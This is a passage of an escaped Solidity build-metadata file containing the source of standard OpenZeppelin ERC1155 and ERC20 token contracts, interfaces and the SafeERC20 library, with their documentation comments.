require(_msgSender() != operator, \\\"ERC1155: setting approval status for self\\\");\\n\\n _operatorApprovals[_msgSender()][operator] = approved;\\n emit ApprovalForAll(_msgSender(), operator, approved);\\n }\\n\\n /**\\n * @dev See {IERC1155-isApprovedForAll}.\\n */\\n function isApprovedForAll(address account, address operator) public view virtual override returns (bool) {\\n return _operatorApprovals[account][operator];\\n }\\n\\n /**\\n * @dev See {IERC1155-safeTransferFrom}.\\n */\\n function safeTransferFrom(\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n\\n emit TransferSingle(operator, from, to, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, from, to, id, amount, data);\\n }\\n\\n /**\\n * @dev See {IERC1155-safeBatchTransferFrom}.\\n */\\n function safeBatchTransferFrom(\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n public\\n virtual\\n override\\n {\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n require(to != address(0), \\\"ERC1155: transfer to the zero address\\\");\\n require(\\n from == _msgSender() || isApprovedForAll(from, _msgSender()),\\n \\\"ERC1155: transfer caller is not owner nor approved\\\"\\n );\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, from, to, ids, amounts, data);\\n\\n for (uint256 i = 0; i < ids.length; ++i) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 fromBalance = _balances[id][from];\\n require(fromBalance >= amount, \\\"ERC1155: insufficient balance for transfer\\\");\\n _balances[id][from] = fromBalance - amount;\\n _balances[id][to] += amount;\\n }\\n\\n emit TransferBatch(operator, from, to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, from, to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Sets a new URI for all token types, by relying on the token type ID\\n * substitution mechanism\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP].\\n *\\n * By this mechanism, any occurrence of the `\\\\{id\\\\}` substring in either the\\n * URI or any of the amounts in the JSON file at said URI will be replaced by\\n * clients with the token type ID.\\n *\\n * For example, the `https://token-cdn-domain/\\\\{id\\\\}.json` URI would be\\n * interpreted by clients as\\n * `https://token-cdn-domain/000000000000000000000000000000000000000000000000000000000004cce0.json`\\n * for token type ID 0x4cce0.\\n *\\n * See {uri}.\\n *\\n * Because these URIs cannot be meaningfully represented by the {URI} event,\\n * this function emits no events.\\n */\\n function _setURI(string memory newuri) internal virtual {\\n _uri = newuri;\\n }\\n\\n /**\\n * @dev Creates `amount` tokens of token type `id`, and assigns them to `account`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - If `account` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal virtual {\\n require(account != address(0), \\\"ERC1155: mint to the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), account, _asSingletonArray(id), _asSingletonArray(amount), data);\\n\\n _balances[id][account] += amount;\\n emit TransferSingle(operator, address(0), account, id, amount);\\n\\n _doSafeTransferAcceptanceCheck(operator, address(0), account, id, amount, data);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_mint}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function _mintBatch(address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data) internal virtual {\\n require(to != address(0), \\\"ERC1155: mint to the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, address(0), to, ids, amounts, data);\\n\\n for (uint i = 0; i < ids.length; i++) {\\n _balances[ids[i]][to] += amounts[i];\\n }\\n\\n emit TransferBatch(operator, address(0), to, ids, amounts);\\n\\n _doSafeBatchTransferAcceptanceCheck(operator, address(0), to, ids, amounts, data);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens of token type `id` from `account`\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens of token type `id`.\\n */\\n function _burn(address account, uint256 id, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), _asSingletonArray(id), _asSingletonArray(amount), \\\"\\\");\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n\\n emit TransferSingle(operator, account, address(0), id, amount);\\n }\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {_burn}.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n */\\n function _burnBatch(address account, uint256[] memory ids, uint256[] memory amounts) internal virtual {\\n require(account != address(0), \\\"ERC1155: burn from the zero address\\\");\\n require(ids.length == amounts.length, \\\"ERC1155: ids and amounts length mismatch\\\");\\n\\n address operator = _msgSender();\\n\\n _beforeTokenTransfer(operator, account, address(0), ids, amounts, \\\"\\\");\\n\\n for (uint i = 0; i < ids.length; i++) {\\n uint256 id = ids[i];\\n uint256 amount = amounts[i];\\n\\n uint256 accountBalance = _balances[id][account];\\n require(accountBalance >= amount, \\\"ERC1155: burn amount exceeds balance\\\");\\n _balances[id][account] = accountBalance - amount;\\n }\\n\\n emit TransferBatch(operator, account, address(0), ids, amounts);\\n }\\n\\n /**\\n * @dev Hook that is called before any token transfer. This includes minting\\n * and burning, as well as batched variants.\\n *\\n * The same hook is called on both single and batched variants. For single\\n * transfers, the length of the `id` and `amount` arrays will be 1.\\n *\\n * Calling conditions (for each `id` and `amount` pair):\\n *\\n * - When `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * of token type `id` will be transferred to `to`.\\n * - When `from` is zero, `amount` tokens of token type `id` will be minted\\n * for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens of token type `id`\\n * will be burned.\\n * - `from` and `to` are never both zero.\\n * - `ids` and `amounts` have the same, non-zero length.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n internal\\n virtual\\n { }\\n\\n function _doSafeTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256 id,\\n uint256 amount,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155Received(operator, from, id, amount, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155Received.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _doSafeBatchTransferAcceptanceCheck(\\n address operator,\\n address from,\\n address to,\\n uint256[] memory ids,\\n uint256[] memory amounts,\\n bytes memory data\\n )\\n private\\n {\\n if (to.isContract()) {\\n try IERC1155Receiver(to).onERC1155BatchReceived(operator, from, ids, amounts, data) returns (bytes4 response) {\\n if (response != IERC1155Receiver(to).onERC1155BatchReceived.selector) {\\n revert(\\\"ERC1155: ERC1155Receiver rejected tokens\\\");\\n }\\n } catch Error(string memory reason) {\\n revert(reason);\\n } catch {\\n revert(\\\"ERC1155: transfer to non ERC1155Receiver implementer\\\");\\n }\\n }\\n }\\n\\n function _asSingletonArray(uint256 element) private pure returns (uint256[] memory) {\\n uint256[] memory array = new uint256[](1);\\n array[0] = element;\\n\\n return array;\\n }\\n}\\n\",\"keccak256\":\"0x8a7cdfd0cc4a768ad04f850cbce1e877cf7ac16202c33049e3dd9e5bd99d713b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev Required interface of an ERC1155 compliant contract, as defined in the\\n * https://eips.ethereum.org/EIPS/eip-1155[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155 is IERC165 {\\n /**\\n * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`.\\n */\\n event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value);\\n\\n /**\\n * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all\\n * transfers.\\n */\\n event TransferBatch(address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values);\\n\\n /**\\n * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to\\n * `approved`.\\n */\\n event ApprovalForAll(address indexed account, address indexed operator, bool approved);\\n\\n /**\\n * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI.\\n *\\n * If an {URI} event was emitted for `id`, the standard\\n * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value\\n * returned by {IERC1155MetadataURI-uri}.\\n */\\n event URI(string value, uint256 indexed id);\\n\\n /**\\n * @dev Returns the amount of tokens of token type `id` owned by `account`.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n */\\n function balanceOf(address account, uint256 id) external view returns (uint256);\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}.\\n *\\n * Requirements:\\n *\\n * - `accounts` and `ids` must have the same length.\\n */\\n function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory);\\n\\n /**\\n * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`,\\n *\\n * Emits an {ApprovalForAll} event.\\n *\\n * Requirements:\\n *\\n * - `operator` cannot be the caller.\\n */\\n function setApprovalForAll(address operator, bool approved) external;\\n\\n /**\\n * @dev Returns true if `operator` is approved to transfer ``account``'s tokens.\\n *\\n * See {setApprovalForAll}.\\n */\\n function isApprovedForAll(address account, address operator) external view returns (bool);\\n\\n /**\\n * @dev Transfers `amount` tokens of token type `id` from `from` to `to`.\\n *\\n * Emits a {TransferSingle} event.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}.\\n * - `from` must have a balance of tokens of type `id` of at least `amount`.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the\\n * acceptance magic value.\\n */\\n function safeTransferFrom(address from, address to, uint256 id, uint256 amount, bytes calldata data) external;\\n\\n /**\\n * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}.\\n *\\n * Emits a {TransferBatch} event.\\n *\\n * Requirements:\\n *\\n * - `ids` and `amounts` must have the same length.\\n * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the\\n * acceptance magic value.\\n */\\n function safeBatchTransferFrom(address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data) external;\\n}\\n\",\"keccak256\":\"0x249bc2a6d919da5f5145950664134cfcf2f66874bda801fd3b8fb861783da079\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../../utils/introspection/IERC165.sol\\\";\\n\\n/**\\n * @dev _Available since v3.1._\\n */\\ninterface IERC1155Receiver is IERC165 {\\n\\n /**\\n @dev Handles the receipt of a single ERC1155 token type. This function is\\n called at the end of a `safeTransferFrom` after the balance has been updated.\\n To accept the transfer, this must return\\n `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))`\\n (i.e. 0xf23a6e61, or its own function selector).\\n @param operator The address which initiated the transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param id The ID of the token being transferred\\n @param value The amount of tokens being transferred\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155Received(address,address,uint256,uint256,bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155Received(\\n address operator,\\n address from,\\n uint256 id,\\n uint256 value,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n\\n /**\\n @dev Handles the receipt of a multiple ERC1155 token types. This function\\n is called at the end of a `safeBatchTransferFrom` after the balances have\\n been updated. To accept the transfer(s), this must return\\n `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))`\\n (i.e. 0xbc197c81, or its own function selector).\\n @param operator The address which initiated the batch transfer (i.e. msg.sender)\\n @param from The address which previously owned the token\\n @param ids An array containing ids of each token being transferred (order and length must match values array)\\n @param values An array containing amounts of each token being transferred (order and length must match ids array)\\n @param data Additional data with no specified format\\n @return `bytes4(keccak256(\\\"onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)\\\"))` if transfer is allowed\\n */\\n function onERC1155BatchReceived(\\n address operator,\\n address from,\\n uint256[] calldata ids,\\n uint256[] calldata values,\\n bytes calldata data\\n )\\n external\\n returns(bytes4);\\n}\\n\",\"keccak256\":\"0x7c0ea2d284bad1aa002165ba4c5eac30070be8e56b19dba1ac7c8f2c8bd4832c\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC1155.sol\\\";\\n\\n/**\\n * @dev Interface of the optional ERC1155MetadataExtension interface, as defined\\n * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP].\\n *\\n * _Available since v3.1._\\n */\\ninterface IERC1155MetadataURI is IERC1155 {\\n /**\\n * @dev Returns the URI for token type `id`.\\n *\\n * If the `\\\\{id\\\\}` substring is present in the URI, it must be replaced by\\n * clients with the actual token type ID.\\n */\\n function uri(uint256 id) external view returns (string memory);\\n}\\n\",\"keccak256\":\"0x6ba0564f6970414d1166ee83127b834bbe7dbf699241a3005eb7ae64a2211975\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/ERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"./IERC20.sol\\\";\\nimport \\\"./extensions/IERC20Metadata.sol\\\";\\nimport \\\"../../utils/Context.sol\\\";\\n\\n/**\\n * @dev Implementation of the {IERC20} interface.\\n *\\n * This implementation is agnostic to the way tokens are created. This means\\n * that a supply mechanism has to be added in a derived contract using {_mint}.\\n * For a generic mechanism see {ERC20PresetMinterPauser}.\\n *\\n * TIP: For a detailed writeup see our guide\\n * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How\\n * to implement supply mechanisms].\\n *\\n * We have followed general OpenZeppelin guidelines: functions revert instead\\n * of returning `false` on failure. This behavior is nonetheless conventional\\n * and does not conflict with the expectations of ERC20 applications.\\n *\\n * Additionally, an {Approval} event is emitted on calls to {transferFrom}.\\n * This allows applications to reconstruct the allowance for all accounts just\\n * by listening to said events. Other implementations of the EIP may not emit\\n * these events, as it isn't required by the specification.\\n *\\n * Finally, the non-standard {decreaseAllowance} and {increaseAllowance}\\n * functions have been added to mitigate the well-known issues around setting\\n * allowances. See {IERC20-approve}.\\n */\\ncontract ERC20 is Context, IERC20, IERC20Metadata {\\n mapping (address => uint256) private _balances;\\n\\n mapping (address => mapping (address => uint256)) private _allowances;\\n\\n uint256 private _totalSupply;\\n\\n string private _name;\\n string private _symbol;\\n\\n /**\\n * @dev Sets the values for {name} and {symbol}.\\n *\\n * The defaut value of {decimals} is 18. To select a different value for\\n * {decimals} you should overload it.\\n *\\n * All two of these values are immutable: they can only be set once during\\n * construction.\\n */\\n constructor (string memory name_, string memory symbol_) {\\n _name = name_;\\n _symbol = symbol_;\\n }\\n\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() public view virtual override returns (string memory) {\\n return _name;\\n }\\n\\n /**\\n * @dev Returns the symbol of the token, usually a shorter version of the\\n * name.\\n */\\n function symbol() public view virtual override returns (string memory) {\\n return _symbol;\\n }\\n\\n /**\\n * @dev Returns the number of decimals used to get its user representation.\\n * For example, if `decimals` equals `2`, a balance of `505` tokens should\\n * be displayed to a user as `5,05` (`505 / 10 ** 2`).\\n *\\n * Tokens usually opt for a value of 18, imitating the relationship between\\n * Ether and Wei. This is the value {ERC20} uses, unless this function is\\n * overridden;\\n *\\n * NOTE: This information is only used for _display_ purposes: it in\\n * no way affects any of the arithmetic of the contract, including\\n * {IERC20-balanceOf} and {IERC20-transfer}.\\n */\\n function decimals() public view virtual override returns (uint8) {\\n return 18;\\n }\\n\\n /**\\n * @dev See {IERC20-totalSupply}.\\n */\\n function totalSupply() public view virtual override returns (uint256) {\\n return _totalSupply;\\n }\\n\\n /**\\n * @dev See {IERC20-balanceOf}.\\n */\\n function balanceOf(address account) public view virtual override returns (uint256) {\\n return _balances[account];\\n }\\n\\n /**\\n * @dev See {IERC20-transfer}.\\n *\\n * Requirements:\\n *\\n * - `recipient` cannot be the zero address.\\n * - the caller must have a balance of at least `amount`.\\n */\\n function transfer(address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(_msgSender(), recipient, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-allowance}.\\n */\\n function allowance(address owner, address spender) public view virtual override returns (uint256) {\\n return _allowances[owner][spender];\\n }\\n\\n /**\\n * @dev See {IERC20-approve}.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function approve(address spender, uint256 amount) public virtual override returns (bool) {\\n _approve(_msgSender(), spender, amount);\\n return true;\\n }\\n\\n /**\\n * @dev See {IERC20-transferFrom}.\\n *\\n * Emits an {Approval} event indicating the updated allowance. This is not\\n * required by the EIP. See the note at the beginning of {ERC20}.\\n *\\n * Requirements:\\n *\\n * - `sender` and `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n * - the caller must have allowance for ``sender``'s tokens of at least\\n * `amount`.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {\\n _transfer(sender, recipient, amount);\\n\\n uint256 currentAllowance = _allowances[sender][_msgSender()];\\n require(currentAllowance >= amount, \\\"ERC20: transfer amount exceeds allowance\\\");\\n _approve(sender, _msgSender(), currentAllowance - amount);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Atomically increases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n */\\n function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {\\n _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);\\n return true;\\n }\\n\\n /**\\n * @dev Atomically decreases the allowance granted to `spender` by the caller.\\n *\\n * This is an alternative to {approve} that can be used as a mitigation for\\n * problems described in {IERC20-approve}.\\n *\\n * Emits an {Approval} event indicating the updated allowance.\\n *\\n * Requirements:\\n *\\n * - `spender` cannot be the zero address.\\n * - `spender` must have allowance for the caller of at least\\n * `subtractedValue`.\\n */\\n function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {\\n uint256 currentAllowance = _allowances[_msgSender()][spender];\\n require(currentAllowance >= subtractedValue, \\\"ERC20: decreased allowance below zero\\\");\\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\\n\\n return true;\\n }\\n\\n /**\\n * @dev Moves tokens `amount` from `sender` to `recipient`.\\n *\\n * This is internal function is equivalent to {transfer}, and can be used to\\n * e.g. implement automatic token fees, slashing mechanisms, etc.\\n *\\n * Emits a {Transfer} event.\\n *\\n * Requirements:\\n *\\n * - `sender` cannot be the zero address.\\n * - `recipient` cannot be the zero address.\\n * - `sender` must have a balance of at least `amount`.\\n */\\n function _transfer(address sender, address recipient, uint256 amount) internal virtual {\\n require(sender != address(0), \\\"ERC20: transfer from the zero address\\\");\\n require(recipient != address(0), \\\"ERC20: transfer to the zero address\\\");\\n\\n _beforeTokenTransfer(sender, recipient, amount);\\n\\n uint256 senderBalance = _balances[sender];\\n require(senderBalance >= amount, \\\"ERC20: transfer amount exceeds balance\\\");\\n _balances[sender] = senderBalance - amount;\\n _balances[recipient] += amount;\\n\\n emit Transfer(sender, recipient, amount);\\n }\\n\\n /** @dev Creates `amount` tokens and assigns them to `account`, increasing\\n * the total supply.\\n *\\n * Emits a {Transfer} event with `from` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `to` cannot be the zero address.\\n */\\n function _mint(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: mint to the zero address\\\");\\n\\n _beforeTokenTransfer(address(0), account, amount);\\n\\n _totalSupply += amount;\\n _balances[account] += amount;\\n emit Transfer(address(0), account, amount);\\n }\\n\\n /**\\n * @dev Destroys `amount` tokens from `account`, reducing the\\n * total supply.\\n *\\n * Emits a {Transfer} event with `to` set to the zero address.\\n *\\n * Requirements:\\n *\\n * - `account` cannot be the zero address.\\n * - `account` must have at least `amount` tokens.\\n */\\n function _burn(address account, uint256 amount) internal virtual {\\n require(account != address(0), \\\"ERC20: burn from the zero address\\\");\\n\\n _beforeTokenTransfer(account, address(0), amount);\\n\\n uint256 accountBalance = _balances[account];\\n require(accountBalance >= amount, \\\"ERC20: burn amount exceeds balance\\\");\\n _balances[account] = accountBalance - amount;\\n _totalSupply -= amount;\\n\\n emit Transfer(account, address(0), amount);\\n }\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.\\n *\\n * This internal function is equivalent to `approve`, and can be used to\\n * e.g. set automatic allowances for certain subsystems, etc.\\n *\\n * Emits an {Approval} event.\\n *\\n * Requirements:\\n *\\n * - `owner` cannot be the zero address.\\n * - `spender` cannot be the zero address.\\n */\\n function _approve(address owner, address spender, uint256 amount) internal virtual {\\n require(owner != address(0), \\\"ERC20: approve from the zero address\\\");\\n require(spender != address(0), \\\"ERC20: approve to the zero address\\\");\\n\\n _allowances[owner][spender] = amount;\\n emit Approval(owner, spender, amount);\\n }\\n\\n /**\\n * @dev Hook that is called before any transfer of tokens. This includes\\n * minting and burning.\\n *\\n * Calling conditions:\\n *\\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\\n * will be to transferred to `to`.\\n * - when `from` is zero, `amount` tokens will be minted for `to`.\\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\\n * - `from` and `to` are never both zero.\\n *\\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\\n */\\n function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }\\n}\\n\",\"keccak256\":\"0xfeccdcbf67b2006a715e5af1a4c7556004d95b2806552b5cc54e46e8eb7e887b\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/IERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\n/**\\n * @dev Interface of the ERC20 standard as defined in the EIP.\\n */\\ninterface IERC20 {\\n /**\\n * @dev Returns the amount of tokens in existence.\\n */\\n function totalSupply() external view returns (uint256);\\n\\n /**\\n * @dev Returns the amount of tokens owned by `account`.\\n */\\n function balanceOf(address account) external view returns (uint256);\\n\\n /**\\n * @dev Moves `amount` tokens from the caller's account to `recipient`.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transfer(address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Returns the remaining number of tokens that `spender` will be\\n * allowed to spend on behalf of `owner` through {transferFrom}. This is\\n * zero by default.\\n *\\n * This value changes when {approve} or {transferFrom} are called.\\n */\\n function allowance(address owner, address spender) external view returns (uint256);\\n\\n /**\\n * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * IMPORTANT: Beware that changing an allowance with this method brings the risk\\n * that someone may use both the old and the new allowance by unfortunate\\n * transaction ordering. One possible solution to mitigate this race\\n * condition is to first reduce the spender's allowance to 0 and set the\\n * desired value afterwards:\\n * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729\\n *\\n * Emits an {Approval} event.\\n */\\n function approve(address spender, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Moves `amount` tokens from `sender` to `recipient` using the\\n * allowance mechanism. `amount` is then deducted from the caller's\\n * allowance.\\n *\\n * Returns a boolean value indicating whether the operation succeeded.\\n *\\n * Emits a {Transfer} event.\\n */\\n function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);\\n\\n /**\\n * @dev Emitted when `value` tokens are moved from one account (`from`) to\\n * another (`to`).\\n *\\n * Note that `value` may be zero.\\n */\\n event Transfer(address indexed from, address indexed to, uint256 value);\\n\\n /**\\n * @dev Emitted when the allowance of a `spender` for an `owner` is set by\\n * a call to {approve}. `value` is the new allowance.\\n */\\n event Approval(address indexed owner, address indexed spender, uint256 value);\\n}\\n\",\"keccak256\":\"0xf8e8d118a7a8b2e134181f7da655f6266aa3a0f9134b2605747139fcb0c5d835\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\n\\n/**\\n * @dev Interface for the optional metadata functions from the ERC20 standard.\\n *\\n * _Available since v4.1._\\n */\\ninterface IERC20Metadata is IERC20 {\\n /**\\n * @dev Returns the name of the token.\\n */\\n function name() external view returns (string memory);\\n\\n /**\\n * @dev Returns the symbol of the token.\\n */\\n function symbol() external view returns (string memory);\\n\\n /**\\n * @dev Returns the decimals places of the token.\\n */\\n function decimals() external view returns (uint8);\\n}\\n\",\"keccak256\":\"0x83fe24f5c04a56091e50f4a345ff504c8bff658a76d4c43b16878c8f940c53b2\",\"license\":\"MIT\"},\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n\\npragma solidity ^0.8.0;\\n\\nimport \\\"../IERC20.sol\\\";\\nimport \\\"../../../utils/Address.sol\\\";\\n\\n/**\\n * @title SafeERC20\\n * @dev Wrappers around ERC20 operations that throw on failure (when the token\\n * contract returns false). Tokens that return no value (and instead revert or\\n * throw on failure) are also supported, non-reverting calls are assumed to be\\n * successful.\\n * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,\\n * which allows you to call the safe operations as `token.safeTransfer(...)`, etc.\\n */\\nlibrary SafeERC20 {\\n using Address for address;\\n\\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));\\n }\\n\\n function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {\\n _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));\\n }\\n\\n /**\\n * @dev Deprecated. This function has issues similar to the ones found in\\n * {IERC20-approve}, and its usage is discouraged.\\n *\\n * Whenever possible, use {safeIncreaseAllowance} and\\n * {safeDecreaseAllowance} instead.\\n */\\n function safeApprove(IERC20 token, address spender, uint256 value) internal {\\n // safeApprove should only be called when setting an initial allowance,\\n // or when resetting it to zero. To increase and decrease it, use\\n // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'\\n // solhint-disable-next-line max-line-length\\n require((value == 0) || (token.allowance(address(this), spender) == 0),\\n \\\"SafeERC20: approve from non-zero to non-zero allowance\\\"\\n );\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));\\n }\\n\\n function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n uint256 newAllowance = token.allowance(address(this), spender) + value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n\\n function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {\\n unchecked {\\n uint256 oldAllowance = token.allowance(address(this), spender);\\n require(oldAllowance >= value, \\\"SafeERC20: decreased allowance below zero\\\");\\n uint256 newAllowance = oldAllowance - value;\\n _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));\\n }\\n }\\n\\n /**\\n * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement\\n * on the return value: the return value is optional (but if data is returned, it must not be false).\\n * @param token The token targeted by the call.\\n * @param data The call data (encoded using abi.encode or one of its variants).\\n */\\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\\n // We need to perform a low level call here, to bypass 